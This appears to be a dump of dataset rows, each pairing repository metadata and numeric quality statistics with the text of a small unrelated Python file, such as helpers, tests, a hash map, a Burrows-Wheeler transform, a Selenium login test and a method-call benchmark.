73
550
5.150685
0.438356
0.380319
0.49734
0.558511
0
0
0
0
0
0
0
0.02069
0.209091
550
15
46
36.666667
0.843678
0.305455
0
0
0
0
0
0
0
0
0
0
0
1
0
true
0
1
0
1
0
0
0
0
null
1
1
1
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
1
0
1
0
1
0
0
6
cde378c0fd4a36b8911d74661c020d8673e1c686
221
py
Python
fplsupercharge/converter/helpers.py
obarbier/fpl
545c0e9b9307030f4683e6b2c6f4961893ade935
[ "MIT" ]
13
2018-06-26T02:49:41.000Z
2021-05-06T03:52:01.000Z
fplsupercharge/converter/helpers.py
obarbier/fpl
545c0e9b9307030f4683e6b2c6f4961893ade935
[ "MIT" ]
22
2020-07-10T18:01:51.000Z
2020-08-12T23:55:31.000Z
fplsupercharge/converter/helpers.py
obarbier/fpl
545c0e9b9307030f4683e6b2c6f4961893ade935
[ "MIT" ]
2
2020-10-04T10:20:11.000Z
2021-05-06T03:52:16.000Z
def get_first_of_type(iterable, type_): # pragma: no cover return next(i for i in iterable if isinstance(i, type_)) def get_values_of_type(iterable, type_): return (i for i in iterable if isinstance(i, type_))
31.571429
60
0.733032
38
221
4
0.447368
0.078947
0.184211
0.236842
0.421053
0.421053
0.421053
0.421053
0.421053
0
0
0
0.176471
221
6
61
36.833333
0.835165
0.072398
0
0
0
0
0
0
0
0
0
0
0
1
0.5
false
0
0
0.5
1
0
0
0
0
null
0
1
1
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
1
0
0
0
1
1
0
0
6
b5306347c70bcded531715388b8a675da6ba6a67
195
py
Python
qtools/__init__.py
imagect/qtools
debc3f3870fb61a240e1961aba01c08e69522bdc
[ "MIT" ]
null
null
null
qtools/__init__.py
imagect/qtools
debc3f3870fb61a240e1961aba01c08e69522bdc
[ "MIT" ]
null
null
null
qtools/__init__.py
imagect/qtools
debc3f3870fb61a240e1961aba01c08e69522bdc
[ "MIT" ]
null
null
null
from .app import qtApp from .event import CallbackEvent from .event import EventSpy from qtpy.QtCore import QEvent from .rxtool import QtUiScheduler QEvent.registerEventType(CallbackEvent.typeid)
32.5
46
0.851282
25
195
6.64
0.56
0.108434
0.180723
0
0
0
0
0
0
0
0
0
0.102564
195
6
46
32.5
0.948571
0
0
0
0
0
0
0
0
0
0
0
0
1
0
true
0
0.833333
0
0.833333
0
1
0
0
null
0
1
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
1
0
1
0
1
0
0
6
b55d1f6c3169f4d44b63d61d3c04ee31b4ccc85c
90
py
Python
code_all/day14/module01.py
testcg/python
4db4bd5d0e44af807d2df80cf8c8980b40cc03c4
[ "MIT" ]
null
null
null
code_all/day14/module01.py
testcg/python
4db4bd5d0e44af807d2df80cf8c8980b40cc03c4
[ "MIT" ]
null
null
null
code_all/day14/module01.py
testcg/python
4db4bd5d0e44af807d2df80cf8c8980b40cc03c4
[ "MIT" ]
null
null
null
def func01(): print("module01 - func01") def func02(): print("module01 - func02")
18
30
0.622222
10
90
5.6
0.5
0.464286
0
0
0
0
0
0
0
0
0
0.166667
0.2
90
5
31
18
0.611111
0
0
0
0
0
0.373626
0
0
0
0
0
0
1
0.5
true
0
0
0
0.5
0.5
1
0
0
null
1
0
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
1
1
0
0
0
0
1
0
6
b5897a500ee4600a8f2514261e9c281c874f8cc0
2,951
py
Python
PriorityHealthDatabase/hashmap.py
GEEGABYTE1/Priority-Pill
e03dee15266e9b3847ecb015d27b271f600f2389
[ "Apache-2.0" ]
1
2021-05-19T16:19:41.000Z
2021-05-19T16:19:41.000Z
PriorityHealthDatabase/hashmap.py
GEEGABYTE1/Priority-Pill
e03dee15266e9b3847ecb015d27b271f600f2389
[ "Apache-2.0" ]
null
null
null
PriorityHealthDatabase/hashmap.py
GEEGABYTE1/Priority-Pill
e03dee15266e9b3847ecb015d27b271f600f2389
[ "Apache-2.0" ]
null
null
null
class HashMap: def __init__(self, array_size): self.array_size = array_size self.array = [None for i in range(self.array_size)] def hash(self, key, collisions=0): key_bytes = str(key).encode() hash_code = sum(key_bytes) return hash_code + collisions def compressor(...
31.393617
63
0.568282
346
2,951
4.531792
0.109827
0.146684
0.151786
0.080357
0.808036
0.808036
0.808036
0.784439
0.736607
0.673469
0
0.009424
0.352762
2,951
94
64
31.393617
0.811518
0
0
0.647059
0
0
0
0
0
0
0
0
0
1
0.088235
false
0.029412
0
0.014706
0.294118
0
0
0
0
null
0
0
0
1
1
1
1
1
1
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
6
b58bf880fddcf7ce6bfc01ad7d8c202235c67a7d
68
py
Python
whippet/__init__.py
BorePlusPlus/whippet
596667d234c5007540106b1b67fc2daeff87da60
[ "MIT" ]
2
2021-01-08T11:27:21.000Z
2021-02-14T10:59:14.000Z
whippet/__init__.py
BorePlusPlus/whippet
596667d234c5007540106b1b67fc2daeff87da60
[ "MIT" ]
null
null
null
whippet/__init__.py
BorePlusPlus/whippet
596667d234c5007540106b1b67fc2daeff87da60
[ "MIT" ]
null
null
null
from whippet import console from whippet.whippet import __version__
22.666667
39
0.867647
9
68
6.111111
0.555556
0.4
0
0
0
0
0
0
0
0
0
0
0.117647
68
2
40
34
0.916667
0
0
0
0
0
0
0
0
0
0
0
0
1
0
true
0
1
0
1
0
1
0
0
null
1
0
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
1
0
1
0
1
0
0
6
b592e22b731b5a8424f2699e2abf024a71dde729
78
py
Python
tests/modules/core/test_spacer.py
spxtr/bumblebee-status
45125f39af8323775aeabf809ae5ae80cfe3ccd9
[ "MIT" ]
1,089
2016-11-06T10:02:53.000Z
2022-03-26T12:53:30.000Z
tests/modules/core/test_spacer.py
spxtr/bumblebee-status
45125f39af8323775aeabf809ae5ae80cfe3ccd9
[ "MIT" ]
817
2016-11-05T05:42:39.000Z
2022-03-25T19:43:52.000Z
tests/modules/core/test_spacer.py
spxtr/bumblebee-status
45125f39af8323775aeabf809ae5ae80cfe3ccd9
[ "MIT" ]
317
2016-11-05T00:35:06.000Z
2022-03-24T13:35:03.000Z
import pytest def test_load_module(): __import__("modules.core.spacer")
13
37
0.74359
10
78
5.2
0.9
0
0
0
0
0
0
0
0
0
0
0
0.141026
78
5
38
15.6
0.776119
0
0
0
0
0
0.246753
0
0
0
0
0
0
1
0.333333
true
0
0.666667
0
1
0
1
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
1
1
0
1
0
1
0
0
6
a97c88fe9f65b445f4665730e1f365eeb197eeba
41
py
Python
pyProbeParticle/__init__.py
ProkopHapala/ProbeParticleModel
1afbd32cbf68440d71c2ee53f2066c898a00ae23
[ "MIT" ]
26
2015-10-21T21:02:03.000Z
2021-11-17T11:40:28.000Z
python/pySimE/chemistry/__init__.py
Aki78/FlightAI
9c5480f2392c9c89b9fee4902db0c4cde5323a6c
[ "MIT" ]
9
2015-10-26T14:11:25.000Z
2021-06-23T10:04:11.000Z
python/pySimE/chemistry/__init__.py
Aki78/FlightAI
9c5480f2392c9c89b9fee4902db0c4cde5323a6c
[ "MIT" ]
20
2015-07-13T14:39:59.000Z
2020-12-03T12:52:36.000Z
#!/usr/bin/python from .common import *
10.25
21
0.682927
6
41
4.666667
1
0
0
0
0
0
0
0
0
0
0
0
0.146341
41
3
22
13.666667
0.8
0.390244
0
0
0
0
0
0
0
0
0
0
0
1
0
true
0
1
0
1
0
1
1
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
1
0
1
0
1
0
0
6
a5db43059d7fbddb6adc561ef271d3bc049dfa29
10,710
py
Python
test_consistent_sampler.py
nealmcb/consistent_sampler
24c096b4a83dd061307662878bbff791b4507d8c
[ "MIT" ]
1
2018-08-07T14:24:57.000Z
2018-08-07T14:24:57.000Z
test_consistent_sampler.py
nealmcb/2018-consistent-sampling
24c096b4a83dd061307662878bbff791b4507d8c
[ "MIT" ]
null
null
null
test_consistent_sampler.py
nealmcb/2018-consistent-sampling
24c096b4a83dd061307662878bbff791b4507d8c
[ "MIT" ]
null
null
null
"""Test routines for consistent_sampler.py""" from consistent_sampler import * """ Example X1: Shuffling a list of size six. >>> list(sampler(['A-1', 'A-2', 'A-3', 'B-1', 'B-2', 'B-3'], seed=314159, ids_only=True, print_item...
39.666667
93
0.542951
1,383
10,710
4.116414
0.100506
0.124363
0.180221
0.190234
0.797998
0.779554
0.718602
0.68312
0.657825
0.637098
0
0.174016
0.29281
10,710
269
94
39.814126
0.577634
0.00915
0
0.732759
0
0
0.582583
0.024527
0
0
0
0
0
1
0.017241
false
0
0.008621
0
0.025862
0.37069
0
0
0
null
0
1
1
0
1
1
0
0
1
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
6
57011b4f55adcfe1d84f3660e34ce48bc7efc5dc
2,155
py
Python
hw2/p9_bwt.py
jay-z007/Computational-Biology
d0e7a1eed4c1e66c7b3fd8a5b4981f0837578fd4
[ "Apache-2.0" ]
null
null
null
hw2/p9_bwt.py
jay-z007/Computational-Biology
d0e7a1eed4c1e66c7b3fd8a5b4981f0837578fd4
[ "Apache-2.0" ]
null
null
null
hw2/p9_bwt.py
jay-z007/Computational-Biology
d0e7a1eed4c1e66c7b3fd8a5b4981f0837578fd4
[ "Apache-2.0" ]
null
null
null
def cyclic_rotations(t): tt = t*2 return [tt[i:i+len(t)] for i in range(len(t))] def bwt(t): return ''.join(map(lambda x: x[-1], sorted(cyclic_rotations(t)))) def main(): # T = "GCGTGCCTGGTCA$" # T = "GTCCCCGTTCTCCGATACAGTCTTTGGTCGGGATGAGCGAATCATTTGAAACTACTACTTACGTCCGTTGATGACTTGGCCGCAAATTAAGAGAAATGCTT...
134.6875
996
0.941531
48
2,155
42.0625
0.541667
0.014859
0.015849
0
0
0
0
0
0
0
0
0.000956
0.029698
2,155
16
997
134.6875
0.96461
0.47007
0
0
0
0
0.795374
0.788256
0
1
0
0
0
0
null
null
0
0
null
null
0.1
0
0
1
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
1
1
null
1
0
0
0
1
0
0
0
0
0
0
0
0
6
572eba7a55d0ae80d446defa0ca3fbc3f729b6c0
464
py
Python
src/tesla/Model3/body.py
wzr1337/virtualvehicle
adb1faed7aa068f259c8b288cd714373b6278c31
[ "MIT" ]
null
null
null
src/tesla/Model3/body.py
wzr1337/virtualvehicle
adb1faed7aa068f259c8b288cd714373b6278c31
[ "MIT" ]
null
null
null
src/tesla/Model3/body.py
wzr1337/virtualvehicle
adb1faed7aa068f259c8b288cd714373b6278c31
[ "MIT" ]
null
null
null
from src.baseClasses.body import Body class Sedan(Body): def __init__(self, c_W = 0.23, body_mass = 1800, drag_area = 2.22, f_R = 0.015): super().__init__(c_W=c_W, body_mass=body_mass, drag_area=drag_area, f_R=f_R) def get_energy_flow(self, speed_meters_per_second, acceleration_meters_per_square_secon...
58
140
0.786638
78
464
4.141026
0.435897
0.139319
0.22291
0.250774
0.430341
0.430341
0.328173
0.328173
0.328173
0
0
0.034314
0.12069
464
8
140
58
0.757353
0
0
0
0
0
0
0
0
0
0
0
0
1
0.333333
false
0
0.166667
0.166667
0.833333
0
0
0
0
null
0
1
1
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
1
0
0
0
1
1
0
0
6
57515b3f6fac81f089ab42897f38a8955772ed34
38
py
Python
sentinel/__init__.py
allagog0x01/sentwg
52285ecf2b03c30a78901a29a7af96c8ab5764c8
[ "Apache-2.0" ]
342
2017-08-21T20:12:56.000Z
2022-03-19T17:58:25.000Z
sentinel/__init__.py
allagog0x01/sentwg
52285ecf2b03c30a78901a29a7af96c8ab5764c8
[ "Apache-2.0" ]
57
2017-11-13T11:16:47.000Z
2022-03-01T13:54:31.000Z
vpn-node-cosmos/sentinel/__init__.py
smtcrms/sentinel
ff65bc9200f6c940aa184c0ec0872fdcfef25363
[ "MIT" ]
72
2017-11-23T05:13:24.000Z
2022-02-25T14:18:33.000Z
# coding=utf-8 from .node import node
12.666667
22
0.736842
7
38
4
0.857143
0
0
0
0
0
0
0
0
0
0
0.03125
0.157895
38
2
23
19
0.84375
0.315789
0
0
0
0
0
0
0
0
0
0
0
1
0
true
0
1
0
1
0
1
1
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
1
0
1
0
1
0
0
6
93ab35c92ad2e6d6ae501dbf9493c5db0bacc050
6,827
py
Python
tests/unit/test_iteration_scaling.py
NoNotCar/pycollo
5c5c425788acb9decdbcb70253aeb5a482b31c55
[ "MIT" ]
3
2021-09-07T13:55:27.000Z
2022-02-11T12:28:30.000Z
tests/unit/test_iteration_scaling.py
NoNotCar/pycollo
5c5c425788acb9decdbcb70253aeb5a482b31c55
[ "MIT" ]
6
2021-06-16T20:18:38.000Z
2022-02-14T17:03:21.000Z
tests/unit/test_iteration_scaling.py
NoNotCar/pycollo
5c5c425788acb9decdbcb70253aeb5a482b31c55
[ "MIT" ]
3
2021-10-02T23:19:21.000Z
2022-02-12T06:05:31.000Z
"""Test creation and initialisation of Iteration objects.""" import numpy as np import pytest import pycollo from .iteration_scaling_test_data_double_pendulum import (EXPECT_V_DP, EXPECT_R_DP, EXPECT_...
40.88024
79
0.699429
808
6,827
5.508663
0.106436
0.037744
0.062907
0.072343
0.899798
0.872388
0.869692
0.836217
0.80027
0.75264
0
0.002804
0.216493
6,827
166
80
41.126506
0.829314
0.024901
0
0.651852
0
0
0.011763
0
0
0
0
0
0.4
1
0.044444
false
0
0.037037
0
0.096296
0
0
0
0
null
0
0
0
1
1
1
1
1
1
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
6
93c63b790c9ee535a0a5238ea1f29b2770516511
7,030
py
Python
experiments/it_tests/run.py
FredericoNesti/gym-idsgame
4170cb5cb3ec787adf5911364e0c6395412b9de9
[ "MIT" ]
15
2020-10-07T12:28:37.000Z
2022-03-10T01:23:46.000Z
experiments/it_tests/run.py
FredericoNesti/gym-idsgame
4170cb5cb3ec787adf5911364e0c6395412b9de9
[ "MIT" ]
2
2020-10-07T01:44:05.000Z
2022-03-10T12:07:43.000Z
experiments/it_tests/run.py
FredericoNesti/gym-idsgame
4170cb5cb3ec787adf5911364e0c6395412b9de9
[ "MIT" ]
5
2021-02-11T15:47:26.000Z
2022-03-30T17:42:25.000Z
""" Integration test, runs 10 episodes of each experiment to verify that its basic functionality is OK. Good to run whenever changes is made to the pre-implemented agents or environment. """ import os from gym_idsgame.config.runner_mode import RunnerMode from gym_idsgame.simulation.dao.simulation_config import Simulati...
54.921875
116
0.732006
865
7,030
5.531792
0.116763
0.039498
0.060188
0.0721
0.859143
0.858098
0.850366
0.807733
0.708882
0.639916
0
0.006995
0.186629
7,030
127
117
55.354331
0.829836
0.028734
0
0.494845
0
0
0.099164
0.071146
0
0
0
0
0
1
0.103093
false
0
0.072165
0
0.185567
0.103093
0
0
0
null
0
0
0
1
1
1
1
1
1
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
6
93cf12c4437198c721d630413047a7bbb38f9c70
3,247
py
Python
Selenium_Scripts/login_improper.py
RankyLea/conduit
501f132e0d95de2b2ddc0bdd8d3ef971eb9b1357
[ "MIT" ]
null
null
null
Selenium_Scripts/login_improper.py
RankyLea/conduit
501f132e0d95de2b2ddc0bdd8d3ef971eb9b1357
[ "MIT" ]
null
null
null
Selenium_Scripts/login_improper.py
RankyLea/conduit
501f132e0d95de2b2ddc0bdd8d3ef971eb9b1357
[ "MIT" ]
null
null
null
import string import time import random from selenium import webdriver from webdriver_manager.chrome import ChromeDriverManager from selenium.webdriver.common.by import By from selenium.webdriver.common.action_chains import ActionChains from random_signup import my_test_user from random_signup import my_email from rand...
34.542553
92
0.716046
447
3,247
4.950783
0.187919
0.090375
0.153638
0.171713
0.781292
0.737912
0.737912
0.719385
0.679169
0.613647
0
0.01288
0.139205
3,247
93
93
34.913978
0.778891
0.176779
0
0.561404
0
0
0.19458
0.152428
0
0
0
0
0
1
0
false
0.210526
0.175439
0
0.175439
0
0
0
0
null
0
0
1
0
1
1
1
0
1
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
1
0
0
0
0
0
6
93d76f28addf72b675a60f7eb28cc1924d1f152c
3,621
py
Python
tests/test_positions.py
IngoMarquart/gehm
389f3cd786c8899e453584de204cac0719c37400
[ "MIT" ]
null
null
null
tests/test_positions.py
IngoMarquart/gehm
389f3cd786c8899e453584de204cac0719c37400
[ "MIT" ]
null
null
null
tests/test_positions.py
IngoMarquart/gehm
389f3cd786c8899e453584de204cac0719c37400
[ "MIT" ]
null
null
null
from tests.test_data import create_test_data from gehm.model.positions import * import pytest import numpy as np import torch from numpy import cos, sin @pytest.mark.position_embeddings def test_circle(): expected_output = np.zeros([3, 2]) expected_output[0, :] = [cos(0), sin(0)] expected_ou...
32.621622
88
0.612538
516
3,621
4.100775
0.106589
0.178639
0.113422
0.02552
0.897921
0.897921
0.87949
0.845936
0.845463
0.845463
0
0.068652
0.239713
3,621
110
89
32.918182
0.699964
0.0591
0
0.662921
0
0
0.040134
0
0
0
0
0
0.067416
1
0.033708
false
0
0.067416
0
0.101124
0
0
0
0
null
0
0
0
1
1
1
1
1
1
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
6
9e06a164730b46402182030fa190bfe120ce8533
6,986
py
Python
bench_call_method_unknown.py
haypo/pymicrobench
7c6b92deaf5cf0c3fc965fcfcbc6a78f7d0d10f4
[ "MIT" ]
3
2018-01-17T18:45:23.000Z
2020-10-02T06:26:03.000Z
bench_call_method_unknown.py
vstinner/pymicrobench
7c6b92deaf5cf0c3fc965fcfcbc6a78f7d0d10f4
[ "MIT" ]
null
null
null
bench_call_method_unknown.py
vstinner/pymicrobench
7c6b92deaf5cf0c3fc965fcfcbc6a78f7d0d10f4
[ "MIT" ]
4
2018-01-17T18:45:23.000Z
2020-10-08T15:24:51.000Z
#!/usr/bin/env python3 """Microbenchmark for method call overhead where the target is unpredictable. This measures simple method calls that are unpredictable, but do not use varargs or kwargs, and do not use tuple unpacking. This is accomplished by having three identical classes with four methods that call each other...
20.190751
79
0.379473
1,301
6,986
2.022291
0.078401
0.098062
0.085519
0.041049
0.710756
0.710756
0.710756
0.710756
0.710756
0.710756
0
0.008035
0.447753
6,986
345
80
20.249275
0.673924
0.094045
0
0.938776
0
0
0.016643
0
0
0
0
0
0
1
0.054422
false
0.010204
0.006803
0
0.07483
0
0
0
0
null
0
0
0
0
1
1
1
1
1
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
6
f52d5a71bbd1d08a0b6f7cee6eb6f4cc10663431
18,005
py
Python
tests/unit/test_api_reference.py
RerrerBuub/asciidoxy
3402f37d59e30975e9919653465839e396f05513
[ "Apache-2.0" ]
null
null
null
tests/unit/test_api_reference.py
RerrerBuub/asciidoxy
3402f37d59e30975e9919653465839e396f05513
[ "Apache-2.0" ]
null
null
null
tests/unit/test_api_reference.py
RerrerBuub/asciidoxy
3402f37d59e30975e9919653465839e396f05513
[ "Apache-2.0" ]
null
null
null
# Copyright (C) 2019-2021, TomTom (http://tomtom.com). # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law o...
40.920455
100
0.726743
2,125
18,005
5.979294
0.089882
0.069888
0.062962
0.065874
0.896506
0.856446
0.802219
0.744373
0.675586
0.634031
0
0.001693
0.146904
18,005
439
101
41.013667
0.825521
0.034268
0
0.529605
0
0
0.288774
0.15734
0
0
0
0
0.532895
1
0.105263
false
0
0.009868
0
0.118421
0
0
0
0
null
0
0
0
1
1
1
1
0
1
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
1
0
0
0
0
0
0
0
0
0
6
1931c2188c6a4e6ca0c8689e7c7c642a52797649
412
py
Python
bookstore/python_app/py/Exceptions.py
kajralah/bookstore
5ae91e2b64334f2c0414ad4c0e082104efd4f0d6
[ "MIT" ]
null
null
null
bookstore/python_app/py/Exceptions.py
kajralah/bookstore
5ae91e2b64334f2c0414ad4c0e082104efd4f0d6
[ "MIT" ]
null
null
null
bookstore/python_app/py/Exceptions.py
kajralah/bookstore
5ae91e2b64334f2c0414ad4c0e082104efd4f0d6
[ "MIT" ]
null
null
null
class IncorrectPasswordException(BaseException): def __init__(self): print('Incorrect password') class ExistingUserException(BaseException): def __init__(self): print('Existing User') class InvalidBookException(BaseException): def __init__(self): print('Invalid Book') class ...
17.913043
48
0.703883
36
412
7.611111
0.444444
0.233577
0.291971
0.350365
0.474453
0.262774
0
0
0
0
0
0
0.199029
412
22
49
18.727273
0.830303
0
0
0.333333
0
0
0.133495
0
0
0
0
0
0
1
0.333333
false
0.166667
0
0
0.666667
0.333333
0
0
0
null
1
1
1
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
1
0
1
0
0
1
0
0
6
1970b2e7a3fd42f5cc5400e3dd2ac3101f593c9c
75
py
Python
logger/Event/__init__.py
DemoDevv/Logger
c5a4f59c71bf70d889cf92a2594053fc928417fe
[ "MIT" ]
1
2021-11-30T17:50:27.000Z
2021-11-30T17:50:27.000Z
logger/Event/__init__.py
DemoDevv/Logger
c5a4f59c71bf70d889cf92a2594053fc928417fe
[ "MIT" ]
null
null
null
logger/Event/__init__.py
DemoDevv/Logger
c5a4f59c71bf70d889cf92a2594053fc928417fe
[ "MIT" ]
null
null
null
from .event import * from .eventManager import * from .ISubscriber import *
25
27
0.773333
9
75
6.444444
0.555556
0.344828
0
0
0
0
0
0
0
0
0
0
0.146667
75
3
28
25
0.90625
0
0
0
0
0
0
0
0
0
0
0
0
1
0
true
0
1
0
1
0
1
0
0
null
1
0
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
1
0
1
0
1
0
0
6
1984b05cd9b7e565bfffa0d7b3aa4c8d21cc96b9
43
py
Python
device/__init__.py
dymoo/pydlearn
da9509a5c16e8fab6a4ea9975f702cdb3a97bd41
[ "MIT" ]
null
null
null
device/__init__.py
dymoo/pydlearn
da9509a5c16e8fab6a4ea9975f702cdb3a97bd41
[ "MIT" ]
null
null
null
device/__init__.py
dymoo/pydlearn
da9509a5c16e8fab6a4ea9975f702cdb3a97bd41
[ "MIT" ]
null
null
null
import device.gpu import device.risc_vector
21.5
25
0.883721
7
43
5.285714
0.714286
0.648649
0
0
0
0
0
0
0
0
0
0
0.069767
43
2
25
21.5
0.925
0
0
0
0
0
0
0
0
0
0
0
0
1
0
true
0
1
0
1
0
1
1
0
null
1
0
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
1
0
1
0
0
0
0
6
19aaedc182222ca9095716700c26654cdbbbd0e6
1,133
py
Python
test/test_common.py
enjoy233/zhihu-py3
bcb4aa8325f8b54d3b44bd0bdc959edd9761fcfc
[ "MIT" ]
1,321
2015-02-16T13:19:42.000Z
2022-03-25T15:03:58.000Z
test/test_common.py
fru1tw4ter/zhihu-py3
bcb4aa8325f8b54d3b44bd0bdc959edd9761fcfc
[ "MIT" ]
64
2015-07-03T12:30:08.000Z
2022-03-01T00:55:50.000Z
test/test_common.py
fru1tw4ter/zhihu-py3
bcb4aa8325f8b54d3b44bd0bdc959edd9761fcfc
[ "MIT" ]
551
2015-02-22T11:21:40.000Z
2022-03-25T13:22:13.000Z
import unittest import re from zhihu.common import re_question_url class CommonTest(unittest.TestCase): def test_question_url(self): url = 'https://www.zhihu.com/question/26901243?sort=created' obj = re.match(re_question_url, url) assert obj.group() == url url = 'https://www.zhi...
29.815789
69
0.636364
155
1,133
4.535484
0.180645
0.085349
0.147937
0.159317
0.816501
0.816501
0.816501
0.816501
0.810811
0.810811
0
0.065041
0.240071
1,133
37
70
30.621622
0.751452
0
0
0.538462
0
0
0.301237
0
0
0
0
0
0.269231
1
0.038462
false
0
0.115385
0
0.192308
0
0
0
0
null
0
0
0
1
1
1
1
1
1
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
6
5ff203f4260701f43da2499c115ab4c00e2bce5e
44
py
Python
src/smalltrain/hparams/__init__.py
Gauthams1/smalltrain
ac833d58ff2b577277079633da1b20eb50b8d332
[ "MIT" ]
32
2020-11-01T13:16:24.000Z
2022-03-12T03:09:57.000Z
src/smalltrain/hparams/__init__.py
Gauthams1/smalltrain
ac833d58ff2b577277079633da1b20eb50b8d332
[ "MIT" ]
12
2020-11-02T08:48:53.000Z
2022-03-12T00:51:05.000Z
src/smalltrain/hparams/__init__.py
Gauthams1/smalltrain
ac833d58ff2b577277079633da1b20eb50b8d332
[ "MIT" ]
9
2020-11-07T07:14:59.000Z
2021-11-21T04:54:59.000Z
from .hyperparameters import Hyperparameters
44
44
0.909091
4
44
10
0.75
0
0
0
0
0
0
0
0
0
0
0
0.068182
44
1
44
44
0.97561
0
0
0
0
0
0
0
0
0
0
0
0
1
0
true
0
1
0
1
0
1
1
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
1
0
1
0
1
0
0
6
5ff6c0d14efc62bebd04699dee47add500a50f74
30
py
Python
__init__.py
peterxu30/moira
af6cf2d143e65db4ab24bc6ce5a938852b4ea060
[ "WTFPL" ]
12
2015-03-12T14:41:54.000Z
2021-08-20T17:02:23.000Z
__init__.py
peterxu30/moira
af6cf2d143e65db4ab24bc6ce5a938852b4ea060
[ "WTFPL" ]
3
2015-03-13T05:06:36.000Z
2021-12-19T03:43:38.000Z
__init__.py
peterxu30/moira
af6cf2d143e65db4ab24bc6ce5a938852b4ea060
[ "WTFPL" ]
13
2015-03-12T14:38:54.000Z
2022-01-21T05:30:34.000Z
import moira import nukaquant
10
16
0.866667
4
30
6.5
0.75
0
0
0
0
0
0
0
0
0
0
0
0.133333
30
2
17
15
1
0
0
0
0
0
0
0
0
0
0
0
0
1
0
true
0
1
0
1
0
1
1
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
1
0
1
0
1
0
0
6
27055f3a60cf0a74448b782252282910cca89bc3
144
py
Python
utils.py
adamivora/pairing_friendly_curves_generation
7cad587e26f420fad5f9becb99bf1ec85d6b884d
[ "MIT" ]
null
null
null
utils.py
adamivora/pairing_friendly_curves_generation
7cad587e26f420fad5f9becb99bf1ec85d6b884d
[ "MIT" ]
null
null
null
utils.py
adamivora/pairing_friendly_curves_generation
7cad587e26f420fad5f9becb99bf1ec85d6b884d
[ "MIT" ]
null
null
null
from sage.all import EllipticCurve def is_embedding_degree(E: EllipticCurve, k): return (E.base_field().order() ** k - 1) % E.order() == 0
28.8
61
0.680556
22
144
4.318182
0.772727
0
0
0
0
0
0
0
0
0
0
0.016529
0.159722
144
4
62
36
0.768595
0
0
0
0
0
0
0
0
0
0
0
0
1
0.333333
false
0
0.333333
0.333333
1
0
1
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
1
0
0
1
1
1
0
0
6
2741494f277265b0c772b1505eb5bfc41cecfb69
410
py
Python
root_module/implementation_module/__init__.py
giktech/AssistedLearning
3e9d4af23c42cf40338cf56ab7f45373e77a86cb
[ "Apache-2.0" ]
null
null
null
root_module/implementation_module/__init__.py
giktech/AssistedLearning
3e9d4af23c42cf40338cf56ab7f45373e77a86cb
[ "Apache-2.0" ]
null
null
null
root_module/implementation_module/__init__.py
giktech/AssistedLearning
3e9d4af23c42cf40338cf56ab7f45373e77a86cb
[ "Apache-2.0" ]
null
null
null
from root_module.implementation_module.cnn import CNN from root_module.implementation_module.representation_layer import RepLayer from root_module.implementation_module.corrections_network import ConfidenceNetwork from root_module.implementation_module.intent_network import TargetNetwork from root_module.implementation...
68.333333
83
0.914634
51
410
7.058824
0.352941
0.133333
0.233333
0.466667
0.566667
0
0
0
0
0
0
0.002584
0.056098
410
6
84
68.333333
0.927649
0
0
0
0
0
0
0
0
0
0
0
0
1
0
true
0
1
0
1
0
0
0
0
null
0
1
1
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
1
0
1
0
1
0
0
6
277b64e03b9896121ee3e7d4f80444a50f82165c
41
py
Python
tests/test_setup.py
filangel/Eigenfaces
55ddb705611ee351cc856d5a927a4dc82acaff03
[ "MIT" ]
19
2017-11-22T14:25:09.000Z
2020-08-05T03:17:44.000Z
tests/test_setup.py
filangel/Eigenfaces
55ddb705611ee351cc856d5a927a4dc82acaff03
[ "MIT" ]
null
null
null
tests/test_setup.py
filangel/Eigenfaces
55ddb705611ee351cc856d5a927a4dc82acaff03
[ "MIT" ]
9
